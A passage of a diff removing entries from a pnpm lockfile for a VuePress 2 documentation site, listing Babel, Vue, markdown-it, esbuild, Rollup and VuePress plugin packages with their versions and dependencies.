- core-js-compat: 3.37.1
- semver: 6.3.1
- transitivePeerDependencies:
- - supports-color
-
- '@babel/preset-modules@0.1.6-no-external-plugins(@babel/core@7.24.9)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-plugin-utils': 7.24.8
- '@babel/types': 7.24.9
- esutils: 2.0.3
-
- '@babel/regjsgen@0.8.0': {}
-
- '@babel/runtime@7.24.8':
- dependencies:
- regenerator-runtime: 0.14.1
-
- '@babel/template@7.24.7':
- dependencies:
- '@babel/code-frame': 7.24.7
- '@babel/parser': 7.24.8
- '@babel/types': 7.24.9
-
- '@babel/traverse@7.24.8':
- dependencies:
- '@babel/code-frame': 7.24.7
- '@babel/generator': 7.24.10
- '@babel/helper-environment-visitor': 7.24.7
- '@babel/helper-function-name': 7.24.7
- '@babel/helper-hoist-variables': 7.24.7
- '@babel/helper-split-export-declaration': 7.24.7
- '@babel/parser': 7.24.8
- '@babel/types': 7.24.9
- debug: 4.3.5
- globals: 11.12.0
- transitivePeerDependencies:
- - supports-color
-
- '@babel/types@7.24.9':
- dependencies:
- '@babel/helper-string-parser': 7.24.8
- '@babel/helper-validator-identifier': 7.24.7
- to-fast-properties: 2.0.0
-
- '@docsearch/css@3.6.1': {}
-
- '@docsearch/js@3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)':
- dependencies:
- '@docsearch/react': 3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)
- preact: 10.23.1
- transitivePeerDependencies:
- - '@algolia/client-search'
- - '@types/react'
- - react
- - react-dom
- - search-insights
-
- '@docsearch/react@3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)':
- dependencies:
- '@algolia/autocomplete-core': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0)
- '@algolia/autocomplete-preset-algolia': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)
- '@docsearch/css': 3.6.1
- algoliasearch: 4.24.0
- optionalDependencies:
- search-insights: 2.15.0
- transitivePeerDependencies:
- - '@algolia/client-search'
-
- '@esbuild/aix-ppc64@0.21.5':
- optional: true
-
- '@esbuild/android-arm64@0.21.5':
- optional: true
-
- '@esbuild/android-arm@0.21.5':
- optional: true
-
- '@esbuild/android-x64@0.21.5':
- optional: true
-
- '@esbuild/darwin-arm64@0.21.5':
- optional: true
-
- '@esbuild/darwin-x64@0.21.5':
- optional: true
-
- '@esbuild/freebsd-arm64@0.21.5':
- optional: true
-
- '@esbuild/freebsd-x64@0.21.5':
- optional: true
-
- '@esbuild/linux-arm64@0.21.5':
- optional: true
-
- '@esbuild/linux-arm@0.21.5':
- optional: true
-
- '@esbuild/linux-ia32@0.21.5':
- optional: true
-
- '@esbuild/linux-loong64@0.21.5':
- optional: true
-
- '@esbuild/linux-mips64el@0.21.5':
- optional: true
-
- '@esbuild/linux-ppc64@0.21.5':
- optional: true
-
- '@esbuild/linux-riscv64@0.21.5':
- optional: true
-
- '@esbuild/linux-s390x@0.21.5':
- optional: true
-
- '@esbuild/linux-x64@0.21.5':
- optional: true
-
- '@esbuild/netbsd-x64@0.21.5':
- optional: true
-
- '@esbuild/openbsd-x64@0.21.5':
- optional: true
-
- '@esbuild/sunos-x64@0.21.5':
- optional: true
-
- '@esbuild/win32-arm64@0.21.5':
- optional: true
-
- '@esbuild/win32-ia32@0.21.5':
- optional: true
-
- '@esbuild/win32-x64@0.21.5':
- optional: true
-
- '@jridgewell/gen-mapping@0.3.5':
- dependencies:
- '@jridgewell/set-array': 1.2.1
- '@jridgewell/sourcemap-codec': 1.5.0
- '@jridgewell/trace-mapping': 0.3.25
-
- '@jridgewell/resolve-uri@3.1.2': {}
-
- '@jridgewell/set-array@1.2.1': {}
-
- '@jridgewell/source-map@0.3.6':
- dependencies:
- '@jridgewell/gen-mapping': 0.3.5
- '@jridgewell/trace-mapping': 0.3.25
-
- '@jridgewell/sourcemap-codec@1.5.0': {}
-
- '@jridgewell/trace-mapping@0.3.25':
- dependencies:
- '@jridgewell/resolve-uri': 3.1.2
- '@jridgewell/sourcemap-codec': 1.5.0
-
- '@lit-labs/ssr-dom-shim@1.2.0': {}
-
- '@lit/reactive-element@2.0.4':
- dependencies:
- '@lit-labs/ssr-dom-shim': 1.2.0
-
- '@mdit-vue/plugin-component@2.1.3':
- dependencies:
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit-vue/plugin-frontmatter@2.1.3':
- dependencies:
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- gray-matter: 4.0.3
- markdown-it: 14.1.0
-
- '@mdit-vue/plugin-headers@2.1.3':
- dependencies:
- '@mdit-vue/shared': 2.1.3
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit-vue/plugin-sfc@2.1.3':
- dependencies:
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit-vue/plugin-title@2.1.3':
- dependencies:
- '@mdit-vue/shared': 2.1.3
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit-vue/plugin-toc@2.1.3':
- dependencies:
- '@mdit-vue/shared': 2.1.3
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit-vue/shared@2.1.3':
- dependencies:
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit-vue/types@2.1.0': {}
-
- '@mdit/plugin-alert@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-align@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@mdit/plugin-container': 0.12.0(markdown-it@14.1.0)
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-attrs@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-container@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-demo@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-figure@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-footnote@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- markdown-it: 14.1.0
-
- '@mdit/plugin-img-lazyload@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-img-mark@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-img-size@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-include@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- upath: 2.0.1
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-katex-slim@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@mdit/plugin-tex': 0.12.0(markdown-it@14.1.0)
- '@types/katex': 0.16.7
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-mark@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-mathjax-slim@0.12.0(markdown-it@14.1.0)(mathjax-full@3.2.2)':
- dependencies:
- '@mdit/plugin-tex': 0.12.0(markdown-it@14.1.0)
- '@types/markdown-it': 14.1.2
- upath: 2.0.1
- optionalDependencies:
- markdown-it: 14.1.0
- mathjax-full: 3.2.2
-
- '@mdit/plugin-plantuml@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@mdit/plugin-uml': 0.12.0(markdown-it@14.1.0)
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-spoiler@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-stylize@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-sub@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-sup@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-tab@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-tasklist@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-tex@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@mdit/plugin-uml@0.12.0(markdown-it@14.1.0)':
- dependencies:
- '@types/markdown-it': 14.1.2
- optionalDependencies:
- markdown-it: 14.1.0
-
- '@nodelib/fs.scandir@2.1.5':
- dependencies:
- '@nodelib/fs.stat': 2.0.5
- run-parallel: 1.2.0
-
- '@nodelib/fs.stat@2.0.5': {}
-
- '@nodelib/fs.walk@1.2.8':
- dependencies:
- '@nodelib/fs.scandir': 2.1.5
- fastq: 1.17.1
-
- '@rollup/plugin-babel@5.3.1(@babel/core@7.24.9)(rollup@2.79.1)':
- dependencies:
- '@babel/core': 7.24.9
- '@babel/helper-module-imports': 7.24.7
- '@rollup/pluginutils': 3.1.0(rollup@2.79.1)
- rollup: 2.79.1
- transitivePeerDependencies:
- - supports-color
-
- '@rollup/plugin-node-resolve@15.2.3(rollup@2.79.1)':
- dependencies:
- '@rollup/pluginutils': 5.1.0(rollup@2.79.1)
- '@types/resolve': 1.20.2
- deepmerge: 4.3.1
- is-builtin-module: 3.2.1
- is-module: 1.0.0
- resolve: 1.22.8
- optionalDependencies:
- rollup: 2.79.1
-
- '@rollup/plugin-replace@2.4.2(rollup@2.79.1)':
- dependencies:
- '@rollup/pluginutils': 3.1.0(rollup@2.79.1)
- magic-string: 0.25.9
- rollup: 2.79.1
-
- '@rollup/plugin-terser@0.4.4(rollup@2.79.1)':
- dependencies:
- serialize-javascript: 6.0.2
- smob: 1.5.0
- terser: 5.31.3
- optionalDependencies:
- rollup: 2.79.1
-
- '@rollup/pluginutils@3.1.0(rollup@2.79.1)':
- dependencies:
- '@types/estree': 0.0.39
- estree-walker: 1.0.1
- picomatch: 2.3.1
- rollup: 2.79.1
-
- '@rollup/pluginutils@5.1.0(rollup@2.79.1)':
- dependencies:
- '@types/estree': 1.0.5
- estree-walker: 2.0.2
- picomatch: 2.3.1
- optionalDependencies:
- rollup: 2.79.1
-
- '@rollup/rollup-android-arm-eabi@4.19.0':
- optional: true
-
- '@rollup/rollup-android-arm64@4.19.0':
- optional: true
-
- '@rollup/rollup-darwin-arm64@4.19.0':
- optional: true
-
- '@rollup/rollup-darwin-x64@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-arm-gnueabihf@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-arm-musleabihf@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-arm64-gnu@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-arm64-musl@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-powerpc64le-gnu@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-riscv64-gnu@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-s390x-gnu@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-x64-gnu@4.19.0':
- optional: true
-
- '@rollup/rollup-linux-x64-musl@4.19.0':
- optional: true
-
- '@rollup/rollup-win32-arm64-msvc@4.19.0':
- optional: true
-
- '@rollup/rollup-win32-ia32-msvc@4.19.0':
- optional: true
-
- '@rollup/rollup-win32-x64-msvc@4.19.0':
- optional: true
-
- '@sec-ant/readable-stream@0.4.1': {}
-
- '@shikijs/core@1.11.1':
- dependencies:
- '@types/hast': 3.0.4
-
- '@shikijs/transformers@1.11.1':
- dependencies:
- shiki: 1.11.1
-
- '@sindresorhus/merge-streams@2.3.0': {}
-
- '@sindresorhus/merge-streams@4.0.0': {}
-
- '@stackblitz/sdk@1.11.0': {}
-
- '@surma/rollup-plugin-off-main-thread@2.2.3':
- dependencies:
- ejs: 3.1.10
- json5: 2.2.3
- magic-string: 0.25.9
- string.prototype.matchall: 4.0.11
-
- '@types/debug@4.1.12':
- dependencies:
- '@types/ms': 0.7.34
-
- '@types/estree@0.0.39': {}
-
- '@types/estree@1.0.5': {}
-
- '@types/fs-extra@11.0.4':
- dependencies:
- '@types/jsonfile': 6.1.4
- '@types/node': 20.14.12
-
- '@types/hash-sum@1.0.2': {}
-
- '@types/hast@3.0.4':
- dependencies:
- '@types/unist': 3.0.2
-
- '@types/jsonfile@6.1.4':
- dependencies:
- '@types/node': 20.14.12
-
- '@types/katex@0.16.7': {}
-
- '@types/linkify-it@5.0.0': {}
-
- '@types/markdown-it-emoji@3.0.1':
- dependencies:
- '@types/markdown-it': 14.1.2
-
- '@types/markdown-it@14.1.2':
- dependencies:
- '@types/linkify-it': 5.0.0
- '@types/mdurl': 2.0.0
-
- '@types/mdurl@2.0.0': {}
-
- '@types/ms@0.7.34': {}
-
- '@types/node@17.0.45': {}
-
- '@types/node@20.14.12':
- dependencies:
- undici-types: 5.26.5
-
- '@types/resolve@1.20.2': {}
-
- '@types/sax@1.2.7':
- dependencies:
- '@types/node': 17.0.45
-
- '@types/trusted-types@2.0.7': {}
-
- '@types/unist@3.0.2': {}
-
- '@types/web-bluetooth@0.0.20': {}
-
- '@vitejs/plugin-vue@5.1.0(vite@5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)':
- dependencies:
- vite: 5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3)
- vue: 3.4.34
-
- '@vue/compiler-core@3.4.34':
- dependencies:
- '@babel/parser': 7.24.8
- '@vue/shared': 3.4.34
- entities: 4.5.0
- estree-walker: 2.0.2
- source-map-js: 1.2.0
-
- '@vue/compiler-dom@3.4.34':
- dependencies:
- '@vue/compiler-core': 3.4.34
- '@vue/shared': 3.4.34
-
- '@vue/compiler-sfc@3.4.34':
- dependencies:
- '@babel/parser': 7.24.8
- '@vue/compiler-core': 3.4.34
- '@vue/compiler-dom': 3.4.34
- '@vue/compiler-ssr': 3.4.34
- '@vue/shared': 3.4.34
- estree-walker: 2.0.2
- magic-string: 0.30.10
- postcss: 8.4.40
- source-map-js: 1.2.0
-
- '@vue/compiler-ssr@3.4.34':
- dependencies:
- '@vue/compiler-dom': 3.4.34
- '@vue/shared': 3.4.34
-
- '@vue/devtools-api@6.6.3': {}
-
- '@vue/reactivity@3.4.34':
- dependencies:
- '@vue/shared': 3.4.34
-
- '@vue/runtime-core@3.4.34':
- dependencies:
- '@vue/reactivity': 3.4.34
- '@vue/shared': 3.4.34
-
- '@vue/runtime-dom@3.4.34':
- dependencies:
- '@vue/reactivity': 3.4.34
- '@vue/runtime-core': 3.4.34
- '@vue/shared': 3.4.34
- csstype: 3.1.3
-
- '@vue/server-renderer@3.4.34(vue@3.4.34)':
- dependencies:
- '@vue/compiler-ssr': 3.4.34
- '@vue/shared': 3.4.34
- vue: 3.4.34
-
- '@vue/shared@3.4.34': {}
-
- '@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3)':
- dependencies:
- '@vitejs/plugin-vue': 5.1.0(vite@5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- '@vuepress/client': 2.0.0-rc.14
- '@vuepress/core': 2.0.0-rc.14
- '@vuepress/shared': 2.0.0-rc.14
- '@vuepress/utils': 2.0.0-rc.14
- autoprefixer: 10.4.19(postcss@8.4.40)
- connect-history-api-fallback: 2.0.0
- postcss: 8.4.40
- postcss-load-config: 6.0.1(postcss@8.4.40)
- rollup: 4.19.0
- vite: 5.3.4(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3)
- vue: 3.4.34
- vue-router: 4.4.0(vue@3.4.34)
- transitivePeerDependencies:
- - '@types/node'
- - jiti
- - less
- - lightningcss
- - sass
- - stylus
- - sugarss
- - supports-color
- - terser
- - tsx
- - typescript
- - yaml
-
- '@vuepress/cli@2.0.0-rc.14':
- dependencies:
- '@vuepress/core': 2.0.0-rc.14
- '@vuepress/shared': 2.0.0-rc.14
- '@vuepress/utils': 2.0.0-rc.14
- cac: 6.7.14
- chokidar: 3.6.0
- envinfo: 7.13.0
- esbuild: 0.21.5
- transitivePeerDependencies:
- - supports-color
- - typescript
-
- '@vuepress/client@2.0.0-rc.14':
- dependencies:
- '@vue/devtools-api': 6.6.3
- '@vuepress/shared': 2.0.0-rc.14
- vue: 3.4.34
- vue-router: 4.4.0(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/core@2.0.0-rc.14':
- dependencies:
- '@vuepress/client': 2.0.0-rc.14
- '@vuepress/markdown': 2.0.0-rc.14
- '@vuepress/shared': 2.0.0-rc.14
- '@vuepress/utils': 2.0.0-rc.14
- vue: 3.4.34
- transitivePeerDependencies:
- - supports-color
- - typescript
-
- '@vuepress/helper@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vue/shared': 3.4.34
- cheerio: 1.0.0-rc.12
- fflate: 0.8.2
- gray-matter: 4.0.3
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/helper@2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vue/shared': 3.4.34
- cheerio: 1.0.0-rc.12
- fflate: 0.8.2
- gray-matter: 4.0.3
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/highlighter-helper@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
-
- '@vuepress/markdown@2.0.0-rc.14':
- dependencies:
- '@mdit-vue/plugin-component': 2.1.3
- '@mdit-vue/plugin-frontmatter': 2.1.3
- '@mdit-vue/plugin-headers': 2.1.3
- '@mdit-vue/plugin-sfc': 2.1.3
- '@mdit-vue/plugin-title': 2.1.3
- '@mdit-vue/plugin-toc': 2.1.3
- '@mdit-vue/shared': 2.1.3
- '@mdit-vue/types': 2.1.0
- '@types/markdown-it': 14.1.2
- '@types/markdown-it-emoji': 3.0.1
- '@vuepress/shared': 2.0.0-rc.14
- '@vuepress/utils': 2.0.0-rc.14
- markdown-it: 14.1.0
- markdown-it-anchor: 9.0.1(@types/markdown-it@14.1.2)(markdown-it@14.1.0)
- markdown-it-emoji: 3.0.0
- mdurl: 2.0.0
- transitivePeerDependencies:
- - supports-color
-
- '@vuepress/plugin-active-header-links@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vueuse/core': 10.11.0(vue@3.4.34)
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- '@vuepress/plugin-back-to-top@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- '@vuepress/plugin-blog@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- chokidar: 3.6.0
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-catalog@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-comment@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- giscus: 1.5.0
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-copy-code@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- '@vuepress/plugin-copyright@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- '@vuepress/plugin-docsearch@2.0.0-rc.40(@algolia/client-search@4.24.0)(search-insights@2.15.0)(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@docsearch/css': 3.6.1
- '@docsearch/js': 3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)
- '@docsearch/react': 3.6.1(@algolia/client-search@4.24.0)(search-insights@2.15.0)
- '@vuepress/helper': 2.0.0-rc.40(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- ts-debounce: 4.0.0
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@algolia/client-search'
- - '@types/react'
- - '@vue/composition-api'
- - react
- - react-dom
- - search-insights
- - typescript
-
- '@vuepress/plugin-git@2.0.0-rc.38(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- execa: 9.3.0
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
-
- '@vuepress/plugin-links-check@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-notice@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
- '@vuepress/plugin-nprogress@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - typescript
-
- '@vuepress/plugin-photo-swipe@2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))':
- dependencies:
- '@vuepress/helper': 2.0.0-rc.39(vuepress@2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34))
- '@vueuse/core': 10.11.0(vue@3.4.34)
- photoswipe: 5.4.4
- vue: 3.4.34
- vuepress: 2.0.0-rc.14(@vuepress/bundler-vite@2.0.0-rc.14(@types/node@20.14.12)(sass@1.77.8)(terser@5.31.3))(vue@3.4.34)
- transitivePeerDependencies:
- - '@vue/composition-api'
- - typescript
-
